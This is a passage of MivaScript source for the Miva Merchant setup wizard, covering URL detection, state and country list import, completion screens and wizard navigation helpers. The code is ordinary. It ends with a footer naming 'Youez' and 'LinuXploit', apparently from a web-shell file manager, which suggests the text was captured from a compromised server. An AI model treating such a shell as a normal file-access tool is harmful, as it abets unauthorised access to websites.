		<MvASSIGN NAME = "TaskList" 		INDEX = "8" MEMBER = "View" 		VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "8" MEMBER = "Add" 			VALUE = "1">
		<MvASSIGN NAME = "TaskList" 		INDEX = "8" MEMBER = "Modify" 		VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "8" MEMBER = "Delete" 		VALUE = "0">

		<MvASSIGN NAME = "TaskList" 		INDEX = "9" MEMBER = "Code" 		VALUE = "FCWIZ">
		<MvASSIGN NAME = "TaskList" 		INDEX = "9" MEMBER = "ParentCode" 	VALUE = "CSTOR">
		<MvASSIGN NAME = "TaskList" 		INDEX = "9" MEMBER = "Module" 		VALUE = "fcwizard">
		<MvLOCALIZED NAME = "l.text">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Order Fulfillment Configuration</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Konfiguration f�r Auftragserf�llung</MvLOCALIZED-TEXT>
		</MvLOCALIZED>
		<MvASSIGN NAME = "TaskList" 		INDEX = "9" MEMBER = "Label" 		VALUE = "{ l.text }">
		<MvASSIGN NAME = "TaskList" 		INDEX = "9" MEMBER = "Params" 		VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "9" MEMBER = "Level" 		VALUE = "S">
		<MvASSIGN NAME = "TaskList" 		INDEX = "9" MEMBER = "Privilege" 	VALUE = "FUFL">
		<MvASSIGN NAME = "TaskList" 		INDEX = "9" MEMBER = "View" 		VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "9" MEMBER = "Add" 			VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "9" MEMBER = "Modify" 		VALUE = "1">
		<MvASSIGN NAME = "TaskList" 		INDEX = "9" MEMBER = "Delete" 		VALUE = "0">

		<MvASSIGN NAME = "TaskList" 		INDEX = "10" MEMBER = "Code" 		VALUE = "UIWIZ">
		<MvASSIGN NAME = "TaskList" 		INDEX = "10" MEMBER = "ParentCode" 	VALUE = "CSTOR">
		<MvASSIGN NAME = "TaskList" 		INDEX = "10" MEMBER = "Module" 		VALUE = "uiwizard">
		<MvLOCALIZED NAME = "l.text">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Configure Look & Feel</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Look & Feel konfigurieren</MvLOCALIZED-TEXT>
		</MvLOCALIZED>
		<MvASSIGN NAME = "TaskList" 		INDEX = "10" MEMBER = "Label" 		VALUE = "{ l.text }">
		<MvASSIGN NAME = "TaskList" 		INDEX = "10" MEMBER = "Params" 		VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "10" MEMBER = "Level" 		VALUE = "S">
		<MvASSIGN NAME = "TaskList" 		INDEX = "10" MEMBER = "Privilege" 	VALUE = "STOR">
		<MvASSIGN NAME = "TaskList" 		INDEX = "10" MEMBER = "View" 		VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "10" MEMBER = "Add" 		VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "10" MEMBER = "Modify" 		VALUE = "1">
		<MvASSIGN NAME = "TaskList" 		INDEX = "10" MEMBER = "Delete" 		VALUE = "0">

		<MvASSIGN NAME = "l.count" VALUE = 1>
		<MvWHILE EXPR = "{ l.count LE '10' }">
			<MvDO FILE = "{ g.Module_Feature_STP_DB }" NAME = "l.p_id" VALUE = "{ Find_TaskID( g.TaskList[ l.count ]:ParentCode ) }">

			<MvDO FILE = "{ g.Module_Library_DB }" NAME = "l.found" VALUE = "{ Module_Find_Code( g.TaskList[ l.count ]:Module ) }">
			<MvIF EXPR = "{ l.found }">
				<MvDO FILE = "{ g.Module_Feature_STP_DB }" NAME = "l.insert" VALUE = "{ Task_Insert( g.TaskList[ l.count ]:Code, l.p_id, g.TaskList[ l.count ]:Module, g.TaskList[ l.count ]:Label, g.TaskList[ l.count ]:Params, g.TaskList[ l.count ]:Level, g.TaskList[ l.count ]:Privilege, g.TaskList[ l.count ]:View, g.TaskList[ l.count ]:Add, g.TaskList[ l.count ]:Modify, g.TaskList[ l.count ]:Delete, 0 ) }">
			</MvIF>

			<MvASSIGN NAME = "l.count" VALUE = "{ l.count + 1 }">
		</MvWHILE>
	</MvIF>
	
	<MvFUNCTIONRETURN VALUE = "{ l.ok }">
</MvFUNCTION>

<MvFUNCTION NAME = "DetectURLs" STANDARDOUTPUTLEVEL = "">
	<MvCOMMENT>  Dissect DocumentURL </MvCOMMENT>
	<MvIF EXPR = "{ g.ISP_Defaults NE 'YES' }">
		<MvASSIGN NAME = "l.start" VALUE = "{ ( ':' IN s.documenturl ) + 3 }">
		<MvASSIGN NAME = "l.end" VALUE = "{ l.start }">
		<MvWHILE EXPR = "{ substring( s.documenturl, l.end, 1 ) NE '/' }">
			<MvASSIGN NAME = "l.end" VALUE = "{ l.end + 1 }">
		</MvWHILE>

		<MvASSIGN NAME = "l.server" VALUE = "{ substring( s.documenturl, l.start, l.end - l.start ) }">

		<MvIF EXPR = "{ s.apitype EQ 'CGI' }">
			<MvASSIGN NAME = "l.start" VALUE = "{ l.end }">

			<MvWHILE EXPR = "{ substring( s.documenturl, l.end, 1 ) NE '?' }">
				<MvASSIGN NAME = "l.end" VALUE = "{ l.end + 1 }">
			</MvWHILE>

			<MvASSIGN NAME = "l.script" VALUE = "{ substring( s.documenturl, l.start, l.end - l.start ) }">

			<MvASSIGN NAME = "l.start" VALUE = "{ l.end + 1 }">
			<MvASSIGN NAME = "l.end" VALUE = "{ len( s.documenturl ) }">
			<MvWHILE EXPR = "{ ( l.start LE l.end ) AND ( substring( s.documenturl, l.start, 1 ) EQ '/' ) }">
				<MvASSIGN NAME = "l.start" VALUE = "{ l.start + 1 }">
			</MvWHILE>
			<MvWHILE EXPR = "{ ( l.end GT l.start ) AND ( substring( s.documenturl, l.end, 1 ) NE '/' ) }">
				<MvASSIGN NAME = "l.end" VALUE = "{ l.end - 1 }">
			</MvWHILE>

			<MvASSIGN NAME = "l.directory" VALUE = "{ substring( s.documenturl, l.start, l.end - l.start ) }">

			<MvASSIGN NAME = "g.Install_URL_Merchant_Detected" VALUE = "{ 'http://' $ l.server $ l.script $ '?' $ l.directory $ '/merchant.mv+' }">
			<MvASSIGN NAME = "g.Install_URL_Merchant_Secure_Detected" VALUE = "{ 'https://' $ l.server $ l.script $ '?' $ l.directory $ '/merchant.mv+' }">

			<MvASSIGN NAME = "g.Install_URL_Admin" VALUE = "{ 'http://' $ l.server $ l.script $ '?' $ l.directory $ '/admin.mv+' }">
			<MvASSIGN NAME = "g.Install_URL_Admin_Secure_Detected" VALUE = "{ 'https://' $ l.server $ l.script $ '?' $ l.directory $ '/admin.mv+' }">

			<MvASSIGN NAME = "g.Install_URL_Base_Detected" VALUE = "{ 'http://' $ l.server $ '/' $ l.directory $ '/' }">
			<MvASSIGN NAME = "g.Install_URL_Base_Secure_Detected" VALUE = "{ 'https://' $ l.server $ '/' $ l.directory $ '/' }">

			<MvIF EXPR = "{ ( '~' IN l.directory ) EQ 1 }">
				<MvASSIGN NAME = "l.start" VALUE = "{ '/' IN l.directory }">
				<MvASSIGN NAME = "l.directory" VALUE = "{ substring( l.directory, l.start + 1, len( l.directory ) - l.start ) }">
			</MvIF>
			
			<MvASSIGN NAME = "g.Install_Image_Root_Detected" VALUE = "{ '/' $ l.directory $ '/' }">

			<MvASSIGN NAME = "g.Install_Module_Root_Detected" VALUE = "{ '/' $ l.directory $ '/' }">
			<MvASSIGN NAME = "g.Install_Module_Root_Secure_Detected" VALUE = "{ '/' $ l.directory $ '/' }">
		<MvELSE>
			<MvASSIGN NAME = "l.start" VALUE = "{ l.end }">
			<MvASSIGN NAME = "l.end" VALUE = "{ len( s.documenturl ) }">
			<MvWHILE EXPR = "{ ( l.end GT l.start ) AND ( substring( s.documenturl, l.end, 1 ) NE '/' ) }">
				<MvASSIGN NAME = "l.end" VALUE = "{ l.end - 1 }">
			</MvWHILE>

			<MvASSIGN NAME = "l.directory" VALUE = "{ substring( s.documenturl, l.start, l.end - l.start ) }">

			<MvASSIGN NAME = "g.Install_URL_Merchant_Detected" VALUE = "{ 'http://' $ l.server $ l.directory $ '/merchant.mv?' }">
			<MvASSIGN NAME = "g.Install_URL_Merchant_Secure_Detected" VALUE = "{ 'https://' $ l.server $ l.directory $ '/merchant.mv?' }">

			<MvASSIGN NAME = "g.Install_URL_Admin" VALUE = "{ 'http://' $ l.server $ l.directory $ '/admin.mv?' }">
			<MvASSIGN NAME = "g.Install_URL_Admin_Secure_Detected" VALUE = "{ 'https://' $ l.server $ l.directory $ '/admin.mv?' }">

			<MvASSIGN NAME = "g.Install_URL_Base_Detected" VALUE = "{ 'http://' $ l.server $ l.directory $ '/' }">
			<MvASSIGN NAME = "g.Install_URL_Base_Secure_Detected" VALUE = "{ 'https://' $ l.server $ l.directory $ '/' }">

			<MvIF EXPR = "{ ( '~' IN l.directory ) EQ 2 }">
				<MvASSIGN NAME = "l.directory" VALUE = "{ substring( l.directory, 2, len( l.directory ) - 1 ) }">

				<MvASSIGN NAME = "l.start" VALUE = "{ '/' IN l.directory }">
				<MvASSIGN NAME = "l.directory" VALUE = "{ substring( l.directory, l.start, ( len( l.directory ) - l.start ) + 1 ) }">
			</MvIF>

			<MvASSIGN NAME = "g.Install_Image_Root_Detected" VALUE = "{ l.directory $ '/' }">

			<MvASSIGN NAME = "g.Install_Module_Root_Detected" VALUE = "{ l.directory $ '/' }">
			<MvASSIGN NAME = "g.Install_Module_Root_Secure_Detected" VALUE = "{ l.directory $ '/' }">
		</MvIF>
	<MvELSE>
		<MvASSIGN NAME = "g.Install_URL_Merchant_Detected" VALUE = "{ g.Site_Install_MivaMerchantURL }">
		<MvASSIGN NAME = "g.Install_URL_Merchant_Secure_Detected" VALUE = "{ g.Site_Install_MivaMerchantSecureURL }">
		<MvASSIGN NAME = "g.Install_URL_Admin_Secure_Detected" VALUE = "{ g.Site_Install_URL_Admin_Secure }">
		<MvASSIGN NAME = "g.Install_Image_Root_Detected" VALUE = "{ g.Site_Install_ImageRoot }">
		<MvASSIGN NAME = "g.Install_URL_Base_Detected" VALUE = "{ g.Site_Install_URL_Base }">
		<MvASSIGN NAME = "g.Install_URL_Base_Secure_Detected" VALUE = "{ g.Site_Install_URL_Base_Secure }">
		<MvASSIGN NAME = "g.Install_Module_Root_Detected" VALUE = "{ g.Site_Install_Module_Root }">
		<MvASSIGN NAME = "g.Install_Module_Root_Secure_Detected" VALUE = "{ g.Site_Install_Module_Root_Secure }">
	</MvIF>

	<MvFUNCTIONRETURN VALUE = "1">
</MvFUNCTION>

<MvFUNCTION NAME = "InitializeStateArray" STANDARDOUTPUTLEVEL = "">
	<MvASSIGN NAME = "l.count" VALUE = 1>

	<MvIF EXPR = "{ sfcopy( g.Version_Path $ 'STATES.lst', 'STATES.lst' ) }">
		<MIVA MvIMPORT_Error = "nonfatal, nodisplay">
		<MvIMPORT FILE = "STATES.lst"
				  FIELDS = "l.name, l.code"
				  DELIMITER = "|">
			<MvASSIGN NAME = "g.State" INDEX = "{ l.count }" VALUE = "{ l.name }">
			<MvASSIGN NAME = "g.State_Code" INDEX = "{ l.count }" VALUE = "{ l.code }">
			<MvASSIGN NAME = "l.count" VALUE = "{ l.count + 1 }">
		</MvIMPORT>
		
		<MvIF EXPR = "{ MvIMPORT_Error }">
			<MvDO FILE = "{ g.Module_Library_Utilities }" NAME = "l.ok" VALUE = "{ Error( 'MER-SET-00005', MvIMPORT_Error ) }">
		</MvIF>
		
		<MvASSIGN NAME = "l.deleted" VALUE = "{ fdelete( 'STATES.lst' ) }">
	</MvIF>

	<MvASSIGN NAME = "g.State_Count" VALUE = "{ l.count }">
</MvFUNCTION>

<MvFUNCTION NAME = "InitializeCountryArray" STANDARDOUTPUTLEVEL = "">
	<MvASSIGN NAME = "l.count" VALUE = 1>
	<MvASSIGN NAME = "l.country_file" VALUE = "{ 'COUNTRIES.' $ s.miva_language }">
	
	<MvIF EXPR = "{ sfcopy( g.Version_Path $ l.country_file, l.country_file ) }">
		<MIVA MvIMPORT_Error = "nonfatal, nodisplay">
		<MvIMPORT FILE = "{ l.country_file }"
				  FIELDS = "l.name, l.code, l.num"
				  DELIMITER = "|">
			<MvASSIGN NAME = "g.Country" INDEX = "{ l.count }" VALUE = "{ l.name }">
			<MvASSIGN NAME = "g.Country_Alpha" INDEX = "{ l.count }" VALUE = "{ l.code }">
			<MvASSIGN NAME = "g.Country_Numeric" INDEX = "{ l.count }" VALUE = "{ l.num }">

			<MvASSIGN NAME = "l.count" VALUE = "{ l.count + 1 }">
		</MvIMPORT>

		<MvIF EXPR = "{ MvIMPORT_Error }">
			<MvDO FILE = "{ g.Module_Library_Utilities }" NAME = "l.ok" VALUE = "{ Error( 'MER-SET-00004', MvIMPORT_Error ) }">
		</MvIF>
		
		<MvASSIGN NAME = "l.deleted" VALUE = "{ fdelete( l.country_file ) }">
	</MvIF>

	<MvASSIGN NAME = "g.Country_Count" VALUE = "{ l.count }">
</MvFUNCTION>

<MvFUNCTION NAME = "Screen_Done">
	<MvIF EXPR = "{ len( g.URL_Admin_Secure ) }">
		<MvASSIGN NAME = "l.admin_url" VALUE = "{ g.URL_Admin_Secure }">
	<MvELSE>
		<MvASSIGN NAME = "l.admin_url" VALUE = "{ glosub( g.URL_Merchant, 'merchant.mv', 'admin.mv' ) }">
	</MvIF>
	
	<HEAD>
		<TITLE>
		<MvLOCALIZED ID = "MER-SET-00138">
			<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ encodeentities( g.Merchant_Version ) }">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Miva Merchant v%merc-vers% Setup</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Miva Merchant v%merc-vers% Setup</MvLOCALIZED-TEXT>
		</MvLOCALIZED>									
		</TITLE>
		<BASE HREF = "{ 'http://www.miva.com/graphics/Merchant-v' $ encodeattribute( g.Merchant_Version ) $ '/' $ s.miva_language $ '/'}">
	</HEAD>

	<BODY BGCOLOR = "#ffffff" BACKGROUND = "blade_bg.gif">
		<FONT FACE = "Arial, Helvetica" SIZE = "-1">
		<P>

		<MvLOCALIZED ID = "MER-SET-00129">
			<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ encodeentities( g.Merchant_Version ) }">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Congratulations!</B>  Miva Merchant v%merc-vers% has been successfully installed.</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Herzlichen Gl�ckwunsch!</B> Miva Merchant v%merc-vers% wurde erfolgreich installiert.</MvLOCALIZED-TEXT>
		</MvLOCALIZED>									
		</P>

		<P>
		<MvLOCALIZED ID = "MER-SET-00130">
			<MvLOCALIZED-TOKEN NAME = "admin-url" VALUE = "{ '<A HREF = "' $ l.admin_url $ '">' $ encodeentities( l.admin_url ) $ '</A>' }">
			<MvLOCALIZED-TOKEN NAME = "inst-user" VALUE = "{ encodeentities( g.Install_User_Name ) }">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">
				You may access the administrative interface at: %admin-url%<BR>
				Login as <B>%inst-user%</B>, using the password you specified during the installation process.
			</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
				Sie k�nnen auf die administrative Schnittstelle unter:  %admin-url%<BR> zugreifen. Melden
				Sie sich unter <B>%inst-user%</B> an, und benutzen Sie das Passwort, das Sie w�hrend des
				Installationsprozesses spezifiziert haben.
			</MvLOCALIZED-TEXT>
		</MvLOCALIZED>									
		</P>
		<P>
		<MvLOCALIZED ID = "MER-SET-00131">	
			<MvLOCALIZED-TOKEN NAME = "merc-url" VALUE = "{ '<A HREF = "' $ g.URL_Merchant $ '">' $ encodeentities( g.URL_Merchant ) $ '</A>' }">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">The URL to the storefront is: %merc-url%</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Der URL der Store Front: %merc-url%</MvLOCALIZED-TEXT>
		</MvLOCALIZED>									
		</P>
		</FONT>
	</BODY>

	<MvFUNCTIONRETURN VALUE = 1>
</MvFUNCTION>

<MvFUNCTION NAME = "Screen_XML" STANDARDOUTPUTLEVEL = "text, html, compresswhitespace">

	<MvIF EXPR = "{ len( g.URL_Admin_Secure ) }">
		<MvASSIGN NAME = "l.admin_url" VALUE = "{ g.URL_Admin_Secure }">
	<MvELSE>
		<MvASSIGN NAME = "l.admin_url" VALUE = "{ glosub( g.URL_Merchant, 'merchant.mv', 'admin.mv' ) }">
	</MvIF>

	<MvIF EXPR = "{ len( g.Site_Install_Error ) }">
		<MvEVAL EXPR = "{ '<MMSETUP COMPLETED = "no" ERROR = "' $ g.Site_Install_Error $ '" />' }">
	<MvELSE>
		<MvIF EXPR = "{ len( g.Error_Field_Message ) }">
			<MvEVAL EXPR = "{ '<MMSETUP COMPLETED = "no" ERROR = "' $ g.Error_Field_Message $ '" />' }">
		<MvELSE>
			<MvEVAL EXPR = "{ '<MMSETUP COMPLETED = "yes" ADMINURL = "' $ l.admin_url $ '" MERCHANTURL = "' $ g.URL_Merchant $ '" />' }">
		</MvIF>
	</MvIF>
	<BODY>
		<P>Output redirected to XML. Please contact your hosting provider.</P>
	</BODY>
</MvFUNCTION>

<MvFUNCTION NAME = "Setup_BeginScreen" STANDARDOUTPUTLEVEL = "text, html, compresswhitespace">
	<HEAD>
	<TITLE>
	<MvLOCALIZED ID = "MER-SET-00132">
		<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ encodeentities( g.Merchant_Version ) }">
		<MvLOCALIZED-TEXT LANGUAGE = "en-US">Miva Merchant v%merc-vers% Setup</MvLOCALIZED-TEXT>
		<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Miva Merchant v%merc-vers% Setup</MvLOCALIZED-TEXT>
	</MvLOCALIZED>									
	</TITLE>
	<BASE HREF = "{ 'http://www.miva.com/graphics/Merchant-v' $ encodeattribute( g.Merchant_Version ) $ '/' $ s.miva_language $ '/'}">

	<MvDO FILE = "{ g.Setup_Filename_Admin }" NAME = "l.javascript" VALUE = "{ JavaScript_SetVariables( 'g', 'Screen' ) }">
	<MvEVAL EXPR = "{ l.javascript }">

<SCRIPT LANGUAGE = "JavaScript">
<!--
function FieldError( field, message )
{
	if ( field.length )
	{
		document.forms[ Screen ].elements[ field ].select();
		document.forms[ Screen ].elements[ field ].focus();
	}

	alert( message );
}

function Setup_Next()
{
	document.forms[ Screen ].elements[ 'New_Step' ].value = parseInt( document.forms[ Screen ].elements[ 'Step' ].value ) + 1;
	document.forms[ Screen ].submit();	
}

function Setup_Previous()
{
	document.forms[ Screen ].elements[ 'New_Step' ].value = parseInt( document.forms[ Screen ].elements[ 'Step' ].value ) - 1;
	document.forms[ Screen ].submit();	
}

function Setup_Finish()
{
	document.forms[ Screen ].elements[ 'New_Step' ].value = 0;
	document.forms[ Screen ].elements[ 'Action' ].value = 'WIZZ';
	document.forms[ Screen ].submit();	
}

function Setup_Skip( steps )
{
	document.forms[ Screen ].elements[ 'New_Step' ].value = parseInt( document.forms[ Screen ].elements[ 'Step' ].value ) + steps;
	document.forms[ Screen ].submit();	
}
//-->
</SCRIPT>
	</HEAD>

	<MvIF EXPR = "{ len( g.Error_Field ) OR ( len( g.Error_Field_Message ) ) }">
		<MvDO FILE = "{ g.Setup_Filename_Admin }" NAME = "l.error_field" VALUE = "{ JavaScriptEncode( g.Error_Field ) }">
		<MvDO FILE = "{ g.Setup_Filename_Admin }" NAME = "l.error_field_message" VALUE = "{ JavaScriptEncode( g.Error_Field_Message ) }">

		<MvEVAL EXPR = "{ '<BODY BGCOLOR = "#ffffff" BACKGROUND = "blade_bg.gif" ONLOAD = "FieldError( \'' $ l.error_field $ '\', \'' $ l.error_field_message $ '\' );">' }">
	<MvELSE>
		<BODY BGCOLOR = "#ffffff" BACKGROUND = "blade_bg.gif">
	</MvIF>
	
	<FORM NAME = "{ encodeentities( g.Screen ) }" METHOD = "POST" ACTION = "{ g.sessionurl }">
	<MvHIDE FIELDS = "g.Screen, g.Step">
	<INPUT TYPE = "hidden" NAME = "Action" VALUE = "">
	<INPUT TYPE = "hidden" NAME = "New_Step" VALUE = "{ encodeentities( g.Step ) }">
	<INPUT TYPE = "hidden" NAME = "Have_Fields" VALUE = "1">

	<TABLE BORDER = 0 CELLPADDING = 2 CELLSPACING = 0 WIDTH = "100%">

	<MvLOCALIZED NAME = "l.restart_text" ID = "MER-SET-00139">
		<MvLOCALIZED-TEXT LANGUAGE = "en-US">Restart</MvLOCALIZED-TEXT>
		<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Neu starten</MvLOCALIZED-TEXT>
	</MvLOCALIZED>

	<MvLOCALIZED NAME = "l.close_text" ID = "MER-SET-00140">
		<MvLOCALIZED-TEXT LANGUAGE = "en-US">Close</MvLOCALIZED-TEXT>
		<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Schlie�en</MvLOCALIZED-TEXT>
	</MvLOCALIZED>
	
	<TR><TD ALIGN = "left" VALIGN = "top">
		<IMG BORDER = 0 ALT = "{ 'Miva Merchant v' $ encodeentities( g.Merchant_Version ) $ ' Setup' }" SRC = "setup_sm4x.gif">
	</TD><TD ALIGN = "right" VALIGN = "top" NOWRAP>
		<FONT FACE = "Arial, Helvetica" SIZE = "-1">
		<A HREF = "{ s.documenturl }"><IMG SRC = "restart.gif" BORDER = 0 ALT = "{ encodeentities( l.restart_text ) }"></A><A HREF = "#" ONCLICK = "window.close(); return false;"><IMG SRC = "close.gif" BORDER = 0 ALT = "{ encodeentities( l.close_text ) }"></A>
		</FONT>
	</TD></TR>

	<TR><TD ALIGN = "left" VALIGN = "top" COLSPAN = 2>
</MvFUNCTION>

<MvFUNCTION NAME = "Setup_EndScreen" STANDARDOUTPUTLEVEL = "text, html, compresswhitespace">
	</TD></TR>
	</TABLE>
	</FORM>
	</BODY>
</MvFUNCTION>

<MvFUNCTION NAME = "Setup_FieldError" PARAMETERS = "step, field, message" STANDARDOUTPUTLEVEL = "">
	<MvASSIGN NAME = "g.Step" VALUE = "{ l.step }">
	<MvASSIGN NAME = "g.Error_Field" VALUE = "{ l.field }">
	<MvASSIGN NAME = "g.Error_Field_Message" VALUE = "{ l.message }">
	<MvASSIGN NAME = "g.Data_Entry_Error" VALUE = 1>

	<MvFUNCTIONRETURN VALUE = 0>
</MvFUNCTION>

<MvFUNCTION NAME = "Setup_DrawNextButton" PARAMETERS = "onclick">
	<MvLOCALIZED NAME = "l.text" ID = "MER-SET-00133">
		<MvLOCALIZED-TEXT LANGUAGE = "en-US">Next</MvLOCALIZED-TEXT>
		<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Weiter</MvLOCALIZED-TEXT>
	</MvLOCALIZED>
	<FONT FACE = "Arial, Helvetica" SIZE = "-1">
	<MvEVAL EXPR = "{ '<INPUT TYPE = "button" VALUE = "' $ l.text $ '" ONCLICK = "' $ l.onclick $ '">' }">
	</FONT>
</MvFUNCTION>

<MvFUNCTION NAME = "Setup_DrawPreviousButton" PARAMETERS = "onclick">
	<FONT FACE = "Arial, Helvetica" SIZE = "-1">
	<MvIF EXPR = "{ g.step GT 1 }">
		<MvLOCALIZED NAME = "l.text" ID = "MER-SET-00134">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Previous</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Zur�ck</MvLOCALIZED-TEXT>
		</MvLOCALIZED>
		<MvEVAL EXPR = "{ '<INPUT TYPE = "button" VALUE = "' $ l.text $ '" ONCLICK = "' $ l.onclick $ '">' }">
	<MvELSE>
		&nbsp;
	</MvIF>
	</FONT>
</MvFUNCTION>

<MvFUNCTION NAME = "Setup_DrawFinishButton" PARAMETERS = "onclick">
	<MvLOCALIZED NAME = "l.text" ID = "MER-SET-00135">
		<MvLOCALIZED-TEXT LANGUAGE = "en-US">Finish</MvLOCALIZED-TEXT>
		<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Beenden</MvLOCALIZED-TEXT>
	</MvLOCALIZED>
	<FONT FACE = "Arial, Helvetica" SIZE = "-1">
	<MvEVAL EXPR = "{ '<INPUT TYPE = "button" VALUE = "' $ l.text $ '" ONCLICK = "' $ l.onclick $ '">' }">
	</FONT>
</MvFUNCTION>

<MvFUNCTION NAME = "Setup_DrawText_Other">
	<MvLOCALIZED ID = "MER-SET-00141">
		<MvLOCALIZED-TEXT LANGUAGE = "en-US">Other:</MvLOCALIZED-TEXT>
		<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Andere:</MvLOCALIZED-TEXT>
	</MvLOCALIZED>
</MvFUNCTION>

<MvFUNCTION NAME = "Setup_DrawText_None">
	<MvLOCALIZED ID = "MER-SET-00142">
		<MvLOCALIZED-TEXT LANGUAGE = "en-US">None</MvLOCALIZED-TEXT>
		<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Keines</MvLOCALIZED-TEXT>
	</MvLOCALIZED>
</MvFUNCTION>

<MvFUNCTION NAME = "Setup_Wizard_SetSteps">

	<MvIF EXPR = "{ len( g.Install_LanguageCode ) }">
		<MvEVAL EXPR = "{ miva_setlanguage( g.Install_LanguageCode ) }">	
	</MvIF>
	
	<MvASSIGN NAME = "g.Setup_Wizard_Step_Item_First" VALUE = "1">
	<MvASSIGN NAME = "g.Setup_Wizard_Step_Item_Last" VALUE = "0">

	<MvIF EXPR = "{ g.Install_Language_Count GT 1 }">
		<MvASSIGN NAME = "g.Setup_Wizard_Step_Language" VALUE = "{ Setup_Wizard_SetStepsNext() }">
	</MvIF>
	<MvASSIGN NAME = "g.Setup_Wizard_Step_Welcome" VALUE = "{ Setup_Wizard_SetStepsNext() }">

	<MvASSIGN NAME = "g.Setup_Wizard_Step_EULA" VALUE = "{ Setup_Wizard_SetStepsNext() }">
	<MvASSIGN NAME = "g.Setup_Wizard_Step_License" VALUE = "{ Setup_Wizard_SetStepsNext() }">
	<MvASSIGN NAME = "g.Setup_Wizard_Step_Owner" VALUE = "{ Setup_Wizard_SetStepsNext() }">
	<MvIF EXPR = "{ NOT ( toupper( g.Install_Display_Site_Steps ) EQ 'NO' AND g.ISP_Defaults EQ 'YES' }")>
		<MvASSIGN NAME = "g.Setup_Wizard_Step_Paths" VALUE = "{ Setup_Wizard_SetStepsNext() }">
		<MvASSIGN NAME = "g.Setup_Wizard_Step_SecurePaths" VALUE = "{ Setup_Wizard_SetStepsNext() }">
		<MvASSIGN NAME = "g.Setup_Wizard_Step_MailServer" VALUE = "{ Setup_Wizard_SetStepsNext() }">
	</MvIF>
	<MvASSIGN NAME = "g.Setup_Wizard_Step_Administrator" VALUE = "{ Setup_Wizard_SetStepsNext() }">
	<MvASSIGN NAME = "g.Setup_Wizard_Step_Summary" VALUE = "{ Setup_Wizard_SetStepsNext() }">
	<MvASSIGN NAME = "g.Setup_Wizard_Step_Congratulations" VALUE = "{ Setup_Wizard_SetStepsNext() }">

</MvFUNCTION>

<MvFUNCTION NAME = "Setup_Wizard_SetStepsNext">
	<MvASSIGN NAME = "g.Setup_Wizard_Step_Item_Last" VALUE = "{ g.Setup_Wizard_Step_Item_Last + 1 }">
	<MvFUNCTIONRETURN VALUE = "{ g.Setup_Wizard_Step_Item_Last }">
</MvFUNCTION>


Youez - 2016 - github.com/yon3zu
LinuXploit